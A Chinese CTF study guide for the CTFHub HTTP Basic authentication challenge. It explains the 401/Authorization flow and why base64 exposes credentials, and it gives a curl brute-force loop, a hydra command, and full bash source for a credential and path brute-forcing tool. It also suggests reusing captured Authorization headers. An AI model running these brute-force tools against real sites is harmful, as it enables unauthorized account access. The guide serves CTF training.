基本认证 — 考点精讲

前置知识:HTTP 协议基础 — 先了解 HTTP 协议基础再来看本考点

原理精讲 — Basic 认证是怎么工作的?

Basic 认证流程

HTTP Basic 认证是 Web 上最古老的认证方式:客户端请求受保护资源 → 服务器返回 401 + WWW-Authenticate: Basic realm="提示" → 客户端把 用户名:密码 做 base64 编码放进 Authorization 头 → 服务器解码比对。

sequenceDiagram
 participant C as 客户端 (curl/浏览器)
 participant S as 服务器
 C->>S: 1. GET /flag.html (无凭据)
 S-->>C: 2. 401 Unauthorized<br/>WWW-Authenticate: Basic realm="Do u know admin ?"
 Note over C: 客户端拼接 用户名:密码
 C->>S: 3. GET /flag.html<br/>Authorization: Basic YWRtaW46eWFua2Vlcw==
 S->>S: base64 解码,比对账号密码
 S-->>C: 4. 200 OK + flag
  • 挑战:服务器返回 401 + WWW-Authenticate: Basic realm="提示信息",要求认证
  • 应答:客户端把 用户名:密码 拼成 admin:yankees,再做 base64 编码,放进请求头 Authorization: Basic YWRtaW46eWFua2Vlcw==
  • 校验:服务器 base64 解码后比对明文账号密码,正确则返回 200

关键:base64 只是编码,不是加密

Authorization 头里的内容只要 base64 解码就是明文的 用户名:密码。所以抓到一个合法的 Basic 认证请求,等于直接拿到账号密码。这也意味着:只要密码是弱密码,字典爆破就是纯枚举问题

服务器端逻辑(密码硬编码、无防爆破机制):

<?php
// 要求 Authorization: Basic base64(账号:密码)
if ($_SERVER['PHP_AUTH_USER'] === "admin" && $_SERVER['PHP_AUTH_PW'] === "yankees") {
 echo $flag; // 凭据正确 -> 返回 flag
} else {
 header("HTTP/1.1 401 Unauthorized");
 header("WWW-Authenticate: Basic realm=\"Do u know admin ?\"");
}
?>

realm 提示信息

WWW-Authenticate 里的 realm 参数是给客户端的提示,CTF 题常在这里藏线索——如 “Do u know admin ?” 暗示用户名是 admin

注意事项

易错点说明
认证头格式Authorization: Basic <base64>-u 自动生成,等价手工构造
判定成功爆破时按 200 判定;如果服务器成功/失败返回 302 或其他码,先手动确认判别依据
base64 等号有些实现要求去掉 = 填充符,手工构造头时注意
realm 线索用户名/密码可能藏在 realm、页面注释、附件字典名里
用户名不一定 admin如果爆破不中,检查用户名线索(字典/提示),可能是别的名字

遍历工具 — 第一次遇到”挨个试”:从手写到 trav

密码爆破的本质是遍历:把候选值(密码)一个一个试,直到命中。这是本知识库第一次遇到遍历场景,先明确遍历的三条路线,之后所有”挨个试”的题都用同一套思路。

路线一:自己一个一个试(手动)

候选很少时(如知道密码是某个单词)直接手动:

curl -s -u "admin:yankees" http://目标/flag.html

手动适合候选少、有明确猜测的情况。密码字典几百行时手动不可行。

路线二:自己写脚本(循环 + curl)

把”试”变成循环,命中就停:

while read -r pw; do
 code=$(curl -s -o /dev/null -w "%{http_code}" -u "admin:$pw" http://目标/flag.html)
 [ "$code" = "200" ] && echo "HIT: admin:$pw" && break
done < pw.txt

也可以用现成的 hydra 一键爆破:

hydra -l admin -P pw.txt http://目标 http-get /flag.html

自己写脚本的好处是完全可控(判定逻辑、输出、后续处理都能定制);缺点是每次都要重写一遍循环模板。

路线三:用现成的遍历工具 — trav(本知识库自研)

把上面这条”值空间 × 判别规则”的循环抽成通用工具,就是 trav。候选值怎么来、命中看什么条件、命中后怎么处理,全参数化,一条命令完成。

安装~/.local/bin/trav 已加入 PATH):

# 脚本本体
trav --help

用法一句话trav <URL前缀> "<候选值>" <判定条件> [选项]

候选值写法说明
"a&b&c"& 分隔的候选值
"@pw.txt"从字典文件读,每行一个
"{1..100}"数字范围
--ext ".zip&.tar.gz"再加一组候选值,两两组合
判定条件说明
==200状态码正好是 200
!=404状态码不是 404(文件存在)
contains:x响应内容包含 x
grep:正则匹配正则,并输出匹配的内容
选项说明
--user admin候选值当密码,用 admin:密码 逐个试(基本认证场景)
--recurse命中后继续往下一层目录找(目录遍历场景)
--maxdepth N递归最多深入几层(默认 5)
--threads N并发数,提速用(默认 1)

本题用法

trav http://目标/flag.html "@pw.txt" "==200" --user admin
# HIT: http://目标/flag.html -> 200 ← 密码是字典里试中的那一个

--user admin 表示:URL 保持原样,候选值只当密码,用 admin:密码 逐行尝试,状态码 200 即命中。

trav 源码(纯 bash + curl,零依赖,可自行扩展):

#!/usr/bin/env bash
# trav -- 通用值空间遍历工具(CTF 解题 / 终端习惯)
# 值空间来源: 内联列表(a&b&c) / 字典文件(@file) / 生成器({1..10})
# 判别规则: ==CODE | !=CODE | contains:字符串 | grep:正则
# 命中处理: 打印 HIT; --recurse 时把命中值回填为下一轮 base 继续深入
# 注意: 多个值空间是纯字符串拼接, 分隔符(如 . 后缀前的点)由用户在值里写好
 
set -u
BASE="" SPACES="" RULE="" EXT_SPACE="" USER="" RECURSE=0 MAXDEPTH=5 TIMEOUT=5 THREADS=1
 
usage() {
 cat <<'EOF'
trav -- 用一批候选值挨个探测 URL,命中的打出来
 
用法: trav <URL前缀> "<候选值>" <判定条件> [选项]
 
候选值写法:
 "a&b&c" & 分隔
 "@字典文件" 从文件读,每行一个
 "{1..100}" 数字范围
 
判定条件:
 ==200 状态码正好是 200
 !=404 状态码不是 404(文件存在)
 contains:x 响应内容包含 x
 grep:正则 匹配正则,并输出匹配的内容
 
选项:
 --ext ".zip&.tar.gz" 再加一组候选值,两两组合(文件名×后缀)
 --user admin 候选值当密码,用 admin:密码 逐个试
 --recurse 命中后继续往下一层目录找
 --maxdepth N 递归最多深入几层(默认 5)
 --timeout N 每请求超时秒数(默认 5)
 --threads N 并发数,提速用(默认 1)
 
示例:
 trav http://x/ "@pw.txt" "==200" --user admin
 trav http://x/ "web&www&backup" "!=404" --ext ".zip&.tar.gz"
 trav http://x/flag_in_here/ "1&2&3" "==200" --recurse
EOF
 exit 1
}
 
[ $# -lt 3 ] && usage
 
POS=()
while [ $# -gt 0 ]; do
 case "$1" in
 --ext) EXT_SPACE="$2"; shift 2 ;;
 --user) USER="$2"; shift 2 ;;
 --recurse) RECURSE=1; shift ;;
 --maxdepth) MAXDEPTH="$2"; shift 2 ;;
 --timeout) TIMEOUT="$2"; shift 2 ;;
 --threads) THREADS="$2"; shift 2 ;;
 -h|--help) usage ;;
 --*) echo "未知选项: $1" >&2; usage ;;
 *) POS+=("$1"); shift ;;
 esac
done
 
[ ${#POS[@]} -ge 3 ] || usage
BASE="${POS[0]}"; SPACES="${POS[1]}"; RULE="${POS[2]}"
[ "$RECURSE" = 1 ] && THREADS=1
 
# 值空间展开: 每行输出一个候选值
expand() {
 case "$1" in
 @*) cat "${1#@}" ;;
 \{*\}) eval "echo $1" | tr ' ' '\n' ;;
 *) echo "$1" | tr '&' '\n' ;;
 esac
}
 
join_url() { # $1=base $2=值
 # --user 时值仅作密码,URL 保持原样
 if [ -n "$USER" ] && [[ "$1" != *"{}"* ]]; then
 echo "$1"; return
 fi
 case "$1" in
 *\{\}*) echo "${1//\{\}/$2}" ;;
 */) echo "${1}${2}" ;;
 *) echo "${1}/${2}" ;;
 esac
}
 
# 单值探测: $1=完整URL $2=候选值 $3=当前深度
probe() {
 local url="$1" val="$2" depth="$3" resp code body
 if [ -n "$USER" ]; then
 resp=$(curl -sL --max-time "$TIMEOUT" -u "$USER:$val" -w $'\n%{http_code}' "$url")
 else
 resp=$(curl -sL --max-time "$TIMEOUT" -w $'\n%{http_code}' "$url")
 fi
 code="${resp##*$'\n'}"
 body="${resp%$'\n'*}"
 
 case "$RULE" in
 ==*) [ "$code" = "${RULE#==}" ] || return 1 ;;
 !=*) [ "$code" != "${RULE#!=}" ] || return 1 ;;
 contains:*) [[ "$body" == *"${RULE#contains:}"* ]] || return 1 ;;
 grep:*) grep -qE "${RULE#grep:}" <<<"$body" || return 1 ;;
 *) echo "未知判别规则: $RULE" >&2; exit 1 ;;
 esac
 
 echo "HIT: $url -> $code"
 case "$RULE" in
 grep:*) echo "$body" | grep -oE "${RULE#grep:}" | sed 's/^/ /' ;;
 contains:*) echo " ...${RULE#contains:}..." ;;
 esac
 
 if [ "$RECURSE" = 1 ] && [ "$depth" -lt "$MAXDEPTH" ]; then
 run "$url" "$((depth + 1))"
 fi
}
 
# 主循环: $1=base $2=当前深度
run() {
 local base="$1" depth="$2" c e
 local cand exts
 mapfile -t cand < <(expand "$SPACES")
 if [ -n "$EXT_SPACE" ]; then
 mapfile -t exts < <(expand "$EXT_SPACE")
 else
 exts=("")
 fi
 for c in "${cand[@]}"; do
 for e in "${exts[@]}"; do
 probe "$(join_url "$base" "$c$e")" "$c" "$depth"
 done
 done
}
 
if [ "$THREADS" -gt 1 ]; then
 [ -n "$EXT_SPACE" ] && { echo "警告: --threads 并行模式不支持 --ext,已忽略" >&2; }
 pids=()
 while IFS= read -r c; do
 probe "$(join_url "$BASE" "$c")" "$c" 1 &
 pids+=("$!")
 if [ "${#pids[@]}" -ge "$THREADS" ]; then
 wait -n 2>/dev/null
 alive=()
 for p in "${pids[@]}"; do
 kill -0 "$p" 2>/dev/null && alive+=("$p")
 done
 pids=("${alive[@]}")
 fi
 done < <(expand "$SPACES")
 wait
 exit 0
fi
 
run "$BASE" 1

trav 的详细介绍(安装、原理、与 gobuster/ffuf 的分工)见 遍历脚本。之后遇到的所有”挨个试”题目(目录遍历、备份文件)都会直接用 trav。

题目解法

CTFHub 技能树位置:CTFHub → Web → Web 前置技能 → HTTP 协议 → 基础认证

解法(curl 终端):

# 1. 先请求受保护页面,观察响应头,确认认证方式
curl -s -D - http://目标/flag.html
# 看到 401 + WWW-Authenticate: Basic realm="Do u know admin ?"
 
# 2. 带凭据请求(realm 提示用户名是 admin,密码在题目附件的字典里)
curl -s -u "admin:yankees" http://目标/flag.html
# 输出直接就是 flag
 
# 3. 不知道密码就用 trav 拿附件字典爆破
trav http://目标/flag.html "@10_million_password_list_top_100.txt" "==200" --user admin

解法(Burp Suite 图形化):

  1. 浏览器配置代理到 Burp,访问 /flag.html,看到响应 401 + WWW-Authenticate
  2. Repeater 里给请求加 Authorization: Basic <base64> 头,或 Intruder 对密码做字典爆破(payload 处理:加前缀 admin: → Base64 编码 → 取消 URL 编码)
  3. 找到状态码 200 的那条,解码就是正确的 用户名:密码

同类变式(做题时按序试)

考点尝试
用户名线索看 realm 提示、页面源码注释、字典文件名(如 user.txt
弱密码爆破rockyou 常见密码表、网站默认密码、题目相关词(ctfhub/admin/flag)
认证头手工构造curl -H "Authorization: Basic $(echo -n 'admin:yankees' | base64)"
解码已有凭据抓到别人的 Authorization 头,base64 解码直接复用
其他认证方式Digest 认证(HTTP 摘要认证)、JWT 认证,机制不同需另学

核心知识点总结

概念说明
401 Unauthorized服务器要求认证的状态码
WWW-Authenticate响应头,声明认证方式:Basic realm="提示"
Authorization请求头,携带凭据:Basic base64(用户名:密码)
base64 的本质编码而非加密,解码即明文
realm认证提示信息,常藏用户名/密码线索
curl -u自动生成 Basic 认证头
遍历三路线手动逐个试 / 自己写循环 / 现成工具 trav
trav —user候选值当密码,URL 保持原样
hydra现成爆破工具:hydra -l 用户 -P 字典 目标 http-get /路径
防御角度弱密码 + 无防爆破 = 字典攻击秒破

关联教程